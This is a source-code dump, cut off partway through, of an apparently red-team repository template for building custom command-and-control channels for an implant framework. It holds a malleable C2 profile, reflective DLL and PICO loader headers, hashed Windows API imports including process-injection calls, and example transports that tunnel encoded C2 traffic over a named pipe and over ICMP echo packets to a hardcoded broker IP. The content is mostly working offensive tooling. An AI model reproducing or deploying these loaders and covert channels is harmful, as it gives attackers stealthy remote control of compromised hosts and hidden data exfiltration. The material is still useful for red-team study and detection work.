├── winhttp ├── .gitignore ├── tcg.h ├── hash.h ├── customCallback.h ├── broker.py └── hook.h ├── wininet ├── .gitignore ├── tcg.h ├── hash.h ├── customCallback.h ├── broker.py └── hook.h ├── gif.gif ├── .vscode └── settings.json ├── examples ├── icmp │ ├── readme.txt │ ├── customCallback.h │ └── broker_icmp.py ├── named_pipe │ ├── customCallback.h │ └── broker_namedpipe.py ├── tcp │ ├── customCallback.h │ └── broker_tcp.py ├── udp │ ├── customCallback.h │ └── broker_udp.py ├── ntp │ ├── customCallback.h │ └── broker_ntp.py └── websockets │ ├── broker_websocket.py │ └── customCallback.h ├── malleable.profile └── README.md /winhttp/.gitignore: -------------------------------------------------------------------------------- 1 | .vscode -------------------------------------------------------------------------------- /wininet/.gitignore: -------------------------------------------------------------------------------- 1 | .vscode -------------------------------------------------------------------------------- /gif.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeXTF2/CustomC2ChannelTemplate/HEAD/gif.gif -------------------------------------------------------------------------------- /.vscode/settings.json: -------------------------------------------------------------------------------- 1 | { 2 | "files.associations": { 3 | "heapapi.h": "c" 4 | } 5 | } -------------------------------------------------------------------------------- /examples/icmp/readme.txt: -------------------------------------------------------------------------------- 1 | you need to run 2 | 3 | sudo sysctl -w net.ipv4.icmp_echo_ignore_all=1 4 | 5 | first 6 | -------------------------------------------------------------------------------- /malleable.profile: -------------------------------------------------------------------------------- 1 | http-get "customc2" { 2 | 3 | # We just need our URI to be something unique and recognizable in order for GraphStrike to parse out values 4 | set uri "/_"; 5 | set verb "GET"; 6 | 7 | client { 8 | 9 | metadata { 10 | base64url; 11 | uri-append; 12 | } 13 | } 14 | 15 | server { 16 | 17 | output { 18 | print; 19 | } 20 | } 21 | } 22 | 23 | http-post "customc2" { 24 | 25 | # We just need our URI to be something unique and recognizable in order for GraphStrike to parse out values 26 | set uri "/-_"; 27 | set verb "POST"; 28 | 29 | client { 30 | 31 | id { 32 | uri-append; 33 | } 34 | 35 | output { 36 | print; 37 | } 38 | } 39 | 40 | server { 41 | 42 | output { 43 | print; 44 | } 45 | } 46 | } -------------------------------------------------------------------------------- /winhttp/tcg.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright 2025 Raphael Mudge, Adversary Fan Fiction Writers Guild 3 | * 4 | * Redistribution and use in source and binary forms, with or without modification, are 5 | * permitted provided that the following conditions are met: 6 | * 7 | * 1. Redistributions of source code must retain the above copyright notice, this list of 8 | * conditions and the following disclaimer. 9 | * 10 | * 2. Redistributions in binary form must reproduce the above copyright notice, this list of 11 | * conditions and the following disclaimer in the documentation and/or other materials provided 12 | * with the distribution. 13 | * 14 | * 3. Neither the name of the copyright holder nor the names of its contributors may be used to 15 | * endorse or promote products derived from this software without specific prior written 16 | * permission. 17 | * 18 | * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS “AS IS” AND ANY EXPRESS 19 | * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF 20 | * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE 21 | * COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, 22 | * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF 23 | * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) 24 | * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR 25 | * TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, 26 | * EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 27 | */ 28 | 29 | typedef struct { 30 | __typeof__(LoadLibraryA) * LoadLibraryA; 31 | __typeof__(GetProcAddress) * GetProcAddress; 32 | } IMPORTFUNCS; 33 | 34 | #define PTR_OFFSET(x, y) ( (void *)(x) + (ULONG)(y) ) 35 | #define DEREF( name )*(UINT_PTR *)(name) 36 | 37 | typedef struct { 38 | IMAGE_DOS_HEADER * DosHeader; 39 | IMAGE_NT_HEADERS * NtHeaders; 40 | IMAGE_OPTIONAL_HEADER * OptionalHeader; 41 | } DLLDATA; 42 | 43 | /* 44 | * printf-style debugging. 45 | */ 46 | void dprintf(char * format, ...); 47 | 48 | /* 49 | * PICO running functions 50 | */ 51 | typedef void (*PICOMAIN_FUNC)(char * arg); 52 | 53 | PICOMAIN_FUNC PicoEntryPoint(char * src, char * base); 54 | int PicoCodeSize(char * src); 55 | int PicoDataSize(char * src); 56 | void PicoLoad(IMPORTFUNCS * funcs, char * src, char * dstCode, char * dstData); 57 | 58 | /* 59 | * Resolve functions by walking the export address table 60 | */ 61 | void * findFunctionByHash(char * src, DWORD wantedFunction); 62 | char * findModuleByHash(DWORD moduleHash); 63 | 64 | /* 65 | * DLL parsing and loading functions 66 | */ 67 | typedef BOOL WINAPI (*DLLMAIN_FUNC)(HINSTANCE, DWORD, LPVOID); 68 | 69 | DLLMAIN_FUNC EntryPoint(DLLDATA * dll, void * base); 70 | IMAGE_DATA_DIRECTORY * GetDataDirectory(DLLDATA * dll, UINT entry); 71 | void LoadDLL(DLLDATA * dll, char * src, char * dst); 72 | void LoadSections(DLLDATA * dll, char * src, char * dst); 73 | void ParseDLL(char * src, DLLDATA * data); 74 | void ProcessImports(IMPORTFUNCS * funcs, DLLDATA * dll, char * dst); 75 | void ProcessRelocations(DLLDATA * dll, char * src, char * dst); 76 | DWORD SizeOfDLL(DLLDATA * data); 77 | 78 | /* 79 | * A macro to figure out our caller 80 | * https://github.com/rapid7/ReflectiveDLLInjection/blob/81cde88bebaa9fe782391712518903b5923470fb/dll/src/ReflectiveLoader.c#L34C1-L46C1 81 | */ 82 | #ifdef __MINGW32__ 83 | #define WIN_GET_CALLER() __builtin_extract_return_addr(__builtin_return_address(0)) 84 | #else 85 | #pragma intrinsic(_ReturnAddress) 86 | #define WIN_GET_CALLER() _ReturnAddress() 87 | #endif 88 | -------------------------------------------------------------------------------- /wininet/tcg.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright 2025 Raphael Mudge, Adversary Fan Fiction Writers Guild 3 | * 4 | * Redistribution and use in source and binary forms, with or without modification, are 5 | * permitted provided that the following conditions are met: 6 | * 7 | * 1. Redistributions of source code must retain the above copyright notice, this list of 8 | * conditions and the following disclaimer. 9 | * 10 | * 2. Redistributions in binary form must reproduce the above copyright notice, this list of 11 | * conditions and the following disclaimer in the documentation and/or other materials provided 12 | * with the distribution. 13 | * 14 | * 3. Neither the name of the copyright holder nor the names of its contributors may be used to 15 | * endorse or promote products derived from this software without specific prior written 16 | * permission. 17 | * 18 | * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS “AS IS” AND ANY EXPRESS 19 | * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF 20 | * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE 21 | * COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, 22 | * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF 23 | * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) 24 | * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR 25 | * TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, 26 | * EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 27 | */ 28 | 29 | typedef struct { 30 | __typeof__(LoadLibraryA) * LoadLibraryA; 31 | __typeof__(GetProcAddress) * GetProcAddress; 32 | } IMPORTFUNCS; 33 | 34 | #define PTR_OFFSET(x, y) ( (void *)(x) + (ULONG)(y) ) 35 | #define DEREF( name )*(UINT_PTR *)(name) 36 | 37 | typedef struct { 38 | IMAGE_DOS_HEADER * DosHeader; 39 | IMAGE_NT_HEADERS * NtHeaders; 40 | IMAGE_OPTIONAL_HEADER * OptionalHeader; 41 | } DLLDATA; 42 | 43 | /* 44 | * printf-style debugging. 45 | */ 46 | void dprintf(char * format, ...); 47 | 48 | /* 49 | * PICO running functions 50 | */ 51 | typedef void (*PICOMAIN_FUNC)(char * arg); 52 | 53 | PICOMAIN_FUNC PicoEntryPoint(char * src, char * base); 54 | int PicoCodeSize(char * src); 55 | int PicoDataSize(char * src); 56 | void PicoLoad(IMPORTFUNCS * funcs, char * src, char * dstCode, char * dstData); 57 | 58 | /* 59 | * Resolve functions by walking the export address table 60 | */ 61 | void * findFunctionByHash(char * src, DWORD wantedFunction); 62 | char * findModuleByHash(DWORD moduleHash); 63 | 64 | /* 65 | * DLL parsing and loading functions 66 | */ 67 | typedef BOOL WINAPI (*DLLMAIN_FUNC)(HINSTANCE, DWORD, LPVOID); 68 | 69 | DLLMAIN_FUNC EntryPoint(DLLDATA * dll, void * base); 70 | IMAGE_DATA_DIRECTORY * GetDataDirectory(DLLDATA * dll, UINT entry); 71 | void LoadDLL(DLLDATA * dll, char * src, char * dst); 72 | void LoadSections(DLLDATA * dll, char * src, char * dst); 73 | void ParseDLL(char * src, DLLDATA * data); 74 | void ProcessImports(IMPORTFUNCS * funcs, DLLDATA * dll, char * dst); 75 | void ProcessRelocations(DLLDATA * dll, char * src, char * dst); 76 | DWORD SizeOfDLL(DLLDATA * data); 77 | 78 | /* 79 | * A macro to figure out our caller 80 | * https://github.com/rapid7/ReflectiveDLLInjection/blob/81cde88bebaa9fe782391712518903b5923470fb/dll/src/ReflectiveLoader.c#L34C1-L46C1 81 | */ 82 | #ifdef __MINGW32__ 83 | #define WIN_GET_CALLER() __builtin_extract_return_addr(__builtin_return_address(0)) 84 | #else 85 | #pragma intrinsic(_ReturnAddress) 86 | #define WIN_GET_CALLER() _ReturnAddress() 87 | #endif 88 | -------------------------------------------------------------------------------- /wininet/hash.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright 2025 Daniel Duggan, Zero-Point Security 3 | * 4 | * Redistribution and use in source and binary forms, with or without modification, are 5 | * permitted provided that the following conditions are met: 6 | * 7 | * 1. Redistributions of source code must retain the above copyright notice, this list of 8 | * conditions and the following disclaimer. 9 | * 10 | * 2. Redistributions in binary form must reproduce the above copyright notice, this list of 11 | * conditions and the following disclaimer in the documentation and/or other materials provided 12 | * with the distribution. 13 | * 14 | * 3. Neither the name of the copyright holder nor the names of its contributors may be used to 15 | * endorse or promote products derived from this software without specific prior written 16 | * permission. 17 | * 18 | * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS “AS IS” AND ANY EXPRESS 19 | * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF 20 | * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE 21 | * COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, 22 | * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF 23 | * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) 24 | * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR 25 | * TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, 26 | * EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 27 | */ 28 | 29 | #include 30 | 31 | #define KERNEL32DLL_HASH 0x6A4ABC5B 32 | #define NTDLLDLL_HASH 0x3CFA685D 33 | 34 | #define TEXT_HASH 0xEBC2F9B4 35 | 36 | #define LOADLIBRARYA_HASH 0xEC0E4E8E 37 | #define GETPROCADDRESS_HASH 0x7C0DFCAA 38 | #define RTLLOOKUPFUNCTIONENTRY_HASH 0xC1D846D9 39 | #define GETMODULEHANDLEA_HASH 0xD3324904 40 | #define VIRTUALALLOC_HASH 0x91AFCA54 41 | #define VIRTUALALLOCEX_HASH 0x6E1A959C 42 | #define VIRTUALPROTECT_HASH 0x7946C61B 43 | #define VIRTUALPROTECTEX_HASH 0x53D98756 44 | #define VIRTUALFREE_HASH 0x30633AC 45 | #define GETPROCESSHEAP_HASH 0xA80EECAE 46 | #define HEAPALLOC_HASH 0x2500383C 47 | #define HEAPFREE_HASH 0x10C32616 48 | #define HEAPREALLOC_HASH 0xBDC761A8 49 | #define HEAPSIZE_HASH 0x2B6B23D6 50 | #define GETTHREADCONTEXT_HASH 0x68A7C7D2 51 | #define SETTHREADCONTEXT_HASH 0xE8A7C7D3 52 | #define INTERNETOPENA_HASH 0x57E84429 53 | #define INTERNETCONNECTA_HASH 0x1E4BE80E 54 | #define HTTPOPENREQUESTA_HASH 0xF7DE769F 55 | #define HTTPSENDREQUESTA_HASH 0x2DE6BE9D 56 | #define HTTPQUERYINFOA_HASH 0xFB2F45FA 57 | #define INTERNETQUERYDATAAVAILABLE_HASH 0xB960F869 58 | #define INTERNETREADFILE_HASH 0x5FE34B8B 59 | #define RESUMETHREAD_HASH 0x9E4A3F88 60 | #define CREATETHREAD_HASH 0xCA2BD06B 61 | #define CREATEREMOTETHREAD_HASH 0x72BD9CDD 62 | #define OPENPROCESS_HASH 0xEFE297C0 63 | #define OPENTHREAD_HASH 0x58C91E6F 64 | #define CLOSEHANDLE_HASH 0xFFD97FB 65 | #define CREATEFILEMAPPINGA_HASH 0x56C61229 66 | #define MAPVIEWOFFILE_HASH 0x7B073C59 67 | #define UNMAPVIEWOFFILE_HASH 0xB2089259 68 | #define CONNECTNAMEDPIPE_HASH 0xCB09C9F9 69 | #define PEEKNAMEDPIPE_HASH 0xB407C411 70 | #define VIRTUALQUERY_HASH 0xA3C8C8AA 71 | #define DUPLICATEHANDLE_HASH 0xBD566724 72 | #define READPROCESSMEMORY_HASH 0x579D1BE9 73 | #define WRITEPROCESSMEMORY_HASH 0xD83D6AA1 74 | #define READFILE_HASH 0x10FA6516 75 | #define EXITTHREAD_HASH 0x60E0CEEF 76 | #define CREATEPROCESSA_HASH 0x16B3FE72 77 | #define SLEEP_HASH 0xDB2D49B0 78 | #define COCREATEINSTANCE_HASH 0x6E26C880 79 | 80 | #define HASH_KEY 13 81 | 82 | #ifndef __MINGW32__ 83 | #pragma intrinsic( _rotr ) 84 | #endif 85 | 86 | __forceinline DWORD ror( DWORD d ) { 87 | return _rotr( d, HASH_KEY ); 88 | } 89 | 90 | __forceinline DWORD hash( char * c ) 91 | { 92 | register DWORD h = 0; 93 | do 94 | { 95 | h = ror( h ); 96 | h += *c; 97 | } while( *++c ); 98 | 99 | return h; 100 | } -------------------------------------------------------------------------------- /examples/named_pipe/customCallback.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | 5 | #ifndef KERNEL32$GetProcessHeap 6 | DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$GetProcessHeap(); 7 | #endif 8 | #ifndef KERNEL32$HeapAlloc 9 | DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$HeapAlloc(HANDLE, DWORD, SIZE_T); 10 | #endif 11 | #ifndef KERNEL32$HeapFree 12 | DECLSPEC_IMPORT BOOL WINAPI KERNEL32$HeapFree(HANDLE, DWORD, LPVOID); 13 | #endif 14 | #ifndef KERNEL32$WaitNamedPipeA 15 | DECLSPEC_IMPORT BOOL WINAPI KERNEL32$WaitNamedPipeA(LPCSTR, DWORD); 16 | #endif 17 | #ifndef KERNEL32$CreateFileA 18 | DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$CreateFileA(LPCSTR, DWORD, DWORD, LPSECURITY_ATTRIBUTES, DWORD, DWORD, HANDLE); 19 | #endif 20 | #ifndef KERNEL32$WriteFile 21 | DECLSPEC_IMPORT BOOL WINAPI KERNEL32$WriteFile(HANDLE, LPCVOID, DWORD, LPDWORD, LPOVERLAPPED); 22 | #endif 23 | #ifndef KERNEL32$ReadFile 24 | DECLSPEC_IMPORT BOOL WINAPI KERNEL32$ReadFile(HANDLE, LPVOID, DWORD, LPDWORD, LPOVERLAPPED); 25 | #endif 26 | #ifndef KERNEL32$CloseHandle 27 | DECLSPEC_IMPORT BOOL WINAPI KERNEL32$CloseHandle(HANDLE); 28 | #endif 29 | #ifndef MSVCRT$printf 30 | DECLSPEC_IMPORT int MSVCRT$printf(const char *format, ...); 31 | #endif 32 | #ifndef MSVCRT$strlen 33 | DECLSPEC_IMPORT size_t MSVCRT$strlen(const char *str); 34 | #endif 35 | 36 | static char *customCallback(const char *encodedRequest, const char *host, INTERNET_PORT port) 37 | { 38 | static const char *PIPE_NAME = "\\\\.\\pipe\\c2_named_pipe"; 39 | 40 | HANDLE hHeap = KERNEL32$GetProcessHeap(); 41 | DWORD bytesWritten = 0; 42 | DWORD bytesRead = 0; 43 | DWORD reqLen = encodedRequest ? (DWORD)MSVCRT$strlen(encodedRequest) : 0; 44 | MSVCRT$printf("[customCallback] received request for %s:%u\n", host ? host : "", (unsigned int)port); 45 | 46 | if (encodedRequest == NULL || reqLen == 0) { 47 | MSVCRT$printf("[customCallback] no request data to send\n"); 48 | return NULL; 49 | } 50 | 51 | if (KERNEL32$WaitNamedPipeA(PIPE_NAME, 5000) == FALSE) { 52 | MSVCRT$printf("[customCallback] named pipe not available\n"); 53 | return NULL; 54 | } 55 | 56 | HANDLE hPipe = KERNEL32$CreateFileA( 57 | PIPE_NAME, 58 | GENERIC_READ | GENERIC_WRITE, 59 | 0, 60 | NULL, 61 | OPEN_EXISTING, 62 | 0, 63 | NULL); 64 | 65 | if (hPipe == INVALID_HANDLE_VALUE) { 66 | MSVCRT$printf("[customCallback] failed to connect to named pipe\n"); 67 | return NULL; 68 | } 69 | 70 | if (KERNEL32$WriteFile(hPipe, &reqLen, sizeof(reqLen), &bytesWritten, NULL) == FALSE || 71 | bytesWritten != sizeof(reqLen)) { 72 | MSVCRT$printf("[customCallback] failed to write request length to pipe\n"); 73 | KERNEL32$CloseHandle(hPipe); 74 | return NULL; 75 | } 76 | 77 | if (KERNEL32$WriteFile(hPipe, encodedRequest, reqLen, &bytesWritten, NULL) == FALSE || 78 | bytesWritten != reqLen) { 79 | MSVCRT$printf("[customCallback] failed to write request body to pipe\n"); 80 | KERNEL32$CloseHandle(hPipe); 81 | return NULL; 82 | } 83 | 84 | if (KERNEL32$ReadFile(hPipe, &bytesRead, sizeof(bytesRead), &bytesWritten, NULL) == FALSE || 85 | bytesWritten != sizeof(bytesRead) || bytesRead == 0) { 86 | MSVCRT$printf("[customCallback] failed to read response length from pipe\n"); 87 | KERNEL32$CloseHandle(hPipe); 88 | return NULL; 89 | } 90 | 91 | char *responseBuf = (char *)KERNEL32$HeapAlloc(hHeap, 0, bytesRead + 1); 92 | if (responseBuf == NULL) { 93 | MSVCRT$printf("[customCallback] allocation failed for response buffer\n"); 94 | KERNEL32$CloseHandle(hPipe); 95 | return NULL; 96 | } 97 | 98 | DWORD totalRead = 0; 99 | while (totalRead < bytesRead) { 100 | DWORD chunk = 0; 101 | if (KERNEL32$ReadFile(hPipe, responseBuf + totalRead, bytesRead - totalRead, &chunk, NULL) == FALSE || chunk == 0) { 102 | MSVCRT$printf("[customCallback] failed while reading response payload from pipe\n"); 103 | KERNEL32$HeapFree(hHeap, 0, responseBuf); 104 | KERNEL32$CloseHandle(hPipe); 105 | return NULL; 106 | } 107 | totalRead += chunk; 108 | } 109 | 110 | responseBuf[bytesRead] = '\0'; 111 | KERNEL32$CloseHandle(hPipe); 112 | 113 | MSVCRT$printf("[customCallback] received %lu bytes from named pipe\n", (unsigned long)bytesRead); 114 | return responseBuf; 115 | } 116 | -------------------------------------------------------------------------------- /winhttp/hash.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright 2025 Daniel Duggan, Zero-Point Security 3 | * 4 | * Redistribution and use in source and binary forms, with or without modification, are 5 | * permitted provided that the following conditions are met: 6 | * 7 | * 1. Redistributions of source code must retain the above copyright notice, this list of 8 | * conditions and the following disclaimer. 9 | * 10 | * 2. Redistributions in binary form must reproduce the above copyright notice, this list of 11 | * conditions and the following disclaimer in the documentation and/or other materials provided 12 | * with the distribution. 13 | * 14 | * 3. Neither the name of the copyright holder nor the names of its contributors may be used to 15 | * endorse or promote products derived from this software without specific prior written 16 | * permission. 17 | * 18 | * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS “AS IS” AND ANY EXPRESS 19 | * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF 20 | * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE 21 | * COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, 22 | * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF 23 | * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) 24 | * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR 25 | * TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, 26 | * EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 27 | */ 28 | 29 | #include 30 | 31 | #define KERNEL32DLL_HASH 0x6A4ABC5B 32 | #define NTDLLDLL_HASH 0x3CFA685D 33 | 34 | #define TEXT_HASH 0xEBC2F9B4 35 | 36 | #define LOADLIBRARYA_HASH 0xEC0E4E8E 37 | #define GETPROCADDRESS_HASH 0x7C0DFCAA 38 | #define RTLLOOKUPFUNCTIONENTRY_HASH 0xC1D846D9 39 | #define GETMODULEHANDLEA_HASH 0xD3324904 40 | #define VIRTUALALLOC_HASH 0x91AFCA54 41 | #define VIRTUALALLOCEX_HASH 0x6E1A959C 42 | #define VIRTUALPROTECT_HASH 0x7946C61B 43 | #define VIRTUALPROTECTEX_HASH 0x53D98756 44 | #define VIRTUALFREE_HASH 0x30633AC 45 | #define GETPROCESSHEAP_HASH 0xA80EECAE 46 | #define HEAPALLOC_HASH 0x2500383C 47 | #define HEAPFREE_HASH 0x10C32616 48 | #define HEAPREALLOC_HASH 0xBDC761A8 49 | #define HEAPSIZE_HASH 0x2B6B23D6 50 | #define GETTHREADCONTEXT_HASH 0x68A7C7D2 51 | #define SETTHREADCONTEXT_HASH 0xE8A7C7D3 52 | #define WINHTTPOPEN_HASH 0xd1026dbe 53 | #define WINHTTPCONNECT_HASH 0x08aae8f 54 | #define WINHTTPOPENREQUEST_HASH 0x8f34e1c1 55 | #define WINHTTPSENDREQUEST_HASH 0x98348882 56 | #define WINHTTPRECEIVERESPONSE_HASH 0xde22845e 57 | #define WINHTTPQUERYHEADERS_HASH 0x4f8b3b75 58 | #define WINHTTPQUERYDATAAVAILABLE_HASH 0xceebff8b 59 | #define WINHTTPREADDATA_HASH 0xb24f660f 60 | #define RESUMETHREAD_HASH 0x9E4A3F88 61 | #define CREATETHREAD_HASH 0xCA2BD06B 62 | #define CREATEREMOTETHREAD_HASH 0x72BD9CDD 63 | #define OPENPROCESS_HASH 0xEFE297C0 64 | #define OPENTHREAD_HASH 0x58C91E6F 65 | #define CLOSEHANDLE_HASH 0xFFD97FB 66 | #define CREATEFILEMAPPINGA_HASH 0x56C61229 67 | #define MAPVIEWOFFILE_HASH 0x7B073C59 68 | #define UNMAPVIEWOFFILE_HASH 0xB2089259 69 | #define CONNECTNAMEDPIPE_HASH 0xCB09C9F9 70 | #define PEEKNAMEDPIPE_HASH 0xB407C411 71 | #define VIRTUALQUERY_HASH 0xA3C8C8AA 72 | #define DUPLICATEHANDLE_HASH 0xBD566724 73 | #define READPROCESSMEMORY_HASH 0x579D1BE9 74 | #define WRITEPROCESSMEMORY_HASH 0xD83D6AA1 75 | #define READFILE_HASH 0x10FA6516 76 | #define EXITTHREAD_HASH 0x60E0CEEF 77 | #define CREATEPROCESSA_HASH 0x16B3FE72 78 | #define SLEEP_HASH 0xDB2D49B0 79 | #define COCREATEINSTANCE_HASH 0x6E26C880 80 | 81 | #define HASH_KEY 13 82 | 83 | #ifndef __MINGW32__ 84 | #pragma intrinsic( _rotr ) 85 | #endif 86 | 87 | __forceinline DWORD ror( DWORD d ) { 88 | return _rotr( d, HASH_KEY ); 89 | } 90 | 91 | __forceinline DWORD hash( char * c ) 92 | { 93 | register DWORD h = 0; 94 | do 95 | { 96 | h = ror( h ); 97 | h += *c; 98 | } while( *++c ); 99 | 100 | return h; 101 | } -------------------------------------------------------------------------------- /examples/icmp/customCallback.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | #ifndef KERNEL32$GetProcessHeap 9 | DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$GetProcessHeap(); 10 | #endif 11 | #ifndef KERNEL32$HeapAlloc 12 | DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$HeapAlloc(HANDLE, DWORD, SIZE_T); 13 | #endif 14 | #ifndef KERNEL32$HeapFree 15 | DECLSPEC_IMPORT BOOL WINAPI KERNEL32$HeapFree(HANDLE, DWORD, LPVOID); 16 | #endif 17 | #ifndef KERNEL32$CloseHandle 18 | DECLSPEC_IMPORT BOOL WINAPI KERNEL32$CloseHandle(HANDLE); 19 | #endif 20 | #ifndef MSVCRT$printf 21 | DECLSPEC_IMPORT int MSVCRT$printf(const char *format, ...); 22 | #endif 23 | #ifndef MSVCRT$strlen 24 | DECLSPEC_IMPORT size_t MSVCRT$strlen(const char *str); 25 | #endif 26 | #ifndef IPHLPAPI$IcmpCreateFile 27 | DECLSPEC_IMPORT HANDLE WINAPI IPHLPAPI$IcmpCreateFile(); 28 | #endif 29 | #ifndef IPHLPAPI$IcmpSendEcho 30 | DECLSPEC_IMPORT DWORD WINAPI IPHLPAPI$IcmpSendEcho(HANDLE, IPAddr, LPVOID, WORD, PIP_OPTION_INFORMATION, LPVOID, DWORD, DWORD); 31 | #endif 32 | #ifndef IPHLPAPI$IcmpCloseHandle 33 | DECLSPEC_IMPORT BOOL WINAPI IPHLPAPI$IcmpCloseHandle(HANDLE); 34 | #endif 35 | #ifndef WS2_32$inet_addr 36 | DECLSPEC_IMPORT unsigned long WSAAPI WS2_32$inet_addr(const char *cp); 37 | #endif 38 | 39 | #define BROKER_IP "192.168.208.137" 40 | #define ICMP_TIMEOUT_MS 5000 41 | #define ICMP_REPLY_BUFSIZE 65535 42 | 43 | static char *customCallback(const char *encodedRequest, const char *host, INTERNET_PORT port) 44 | { 45 | HANDLE hHeap = KERNEL32$GetProcessHeap(); 46 | DWORD reqLen = encodedRequest ? (DWORD)MSVCRT$strlen(encodedRequest) : 0; 47 | HANDLE icmpHandle = NULL; 48 | char *sendBuffer = NULL; 49 | char *responseBuf = NULL; 50 | char *replyBuffer = NULL; 51 | MSVCRT$printf("[customCallback] received request for %s:%u\n", host ? host : "", (unsigned int)port); 52 | 53 | if (encodedRequest == NULL || reqLen == 0) { 54 | MSVCRT$printf("[customCallback] no request data to send\n"); 55 | return NULL; 56 | } 57 | 58 | icmpHandle = IPHLPAPI$IcmpCreateFile(); 59 | if (icmpHandle == INVALID_HANDLE_VALUE) { 60 | MSVCRT$printf("[customCallback] IcmpCreateFile failed\n"); 61 | return NULL; 62 | } 63 | 64 | DWORD packetLen = sizeof(DWORD) + reqLen; 65 | sendBuffer = (char *)KERNEL32$HeapAlloc(hHeap, 0, packetLen); 66 | if (sendBuffer == NULL) { 67 | MSVCRT$printf("[customCallback] allocation failed for request buffer\n"); 68 | goto cleanup; 69 | } 70 | 71 | memcpy(sendBuffer, &reqLen, sizeof(DWORD)); 72 | memcpy(sendBuffer + sizeof(DWORD), encodedRequest, reqLen); 73 | 74 | DWORD replySize = ICMP_REPLY_BUFSIZE; 75 | replyBuffer = (char *)KERNEL32$HeapAlloc(hHeap, 0, replySize); 76 | if (replyBuffer == NULL) { 77 | MSVCRT$printf("[customCallback] allocation failed for reply buffer\n"); 78 | goto cleanup; 79 | } 80 | 81 | DWORD destIp = WS2_32$inet_addr(BROKER_IP); 82 | DWORD result = IPHLPAPI$IcmpSendEcho( 83 | icmpHandle, 84 | destIp, 85 | sendBuffer, 86 | (WORD)packetLen, 87 | NULL, 88 | replyBuffer, 89 | replySize, 90 | ICMP_TIMEOUT_MS 91 | ); 92 | 93 | if (result == 0) { 94 | MSVCRT$printf("[customCallback] IcmpSendEcho failed\n"); 95 | goto cleanup; 96 | } 97 | 98 | PICMP_ECHO_REPLY pReply = (PICMP_ECHO_REPLY)replyBuffer; 99 | if (pReply->Status != IP_SUCCESS) { 100 | MSVCRT$printf("[customCallback] ICMP reply returned status 0x%08lx\n", (unsigned long)pReply->Status); 101 | goto cleanup; 102 | } 103 | 104 | if (pReply->DataSize < sizeof(DWORD)) { 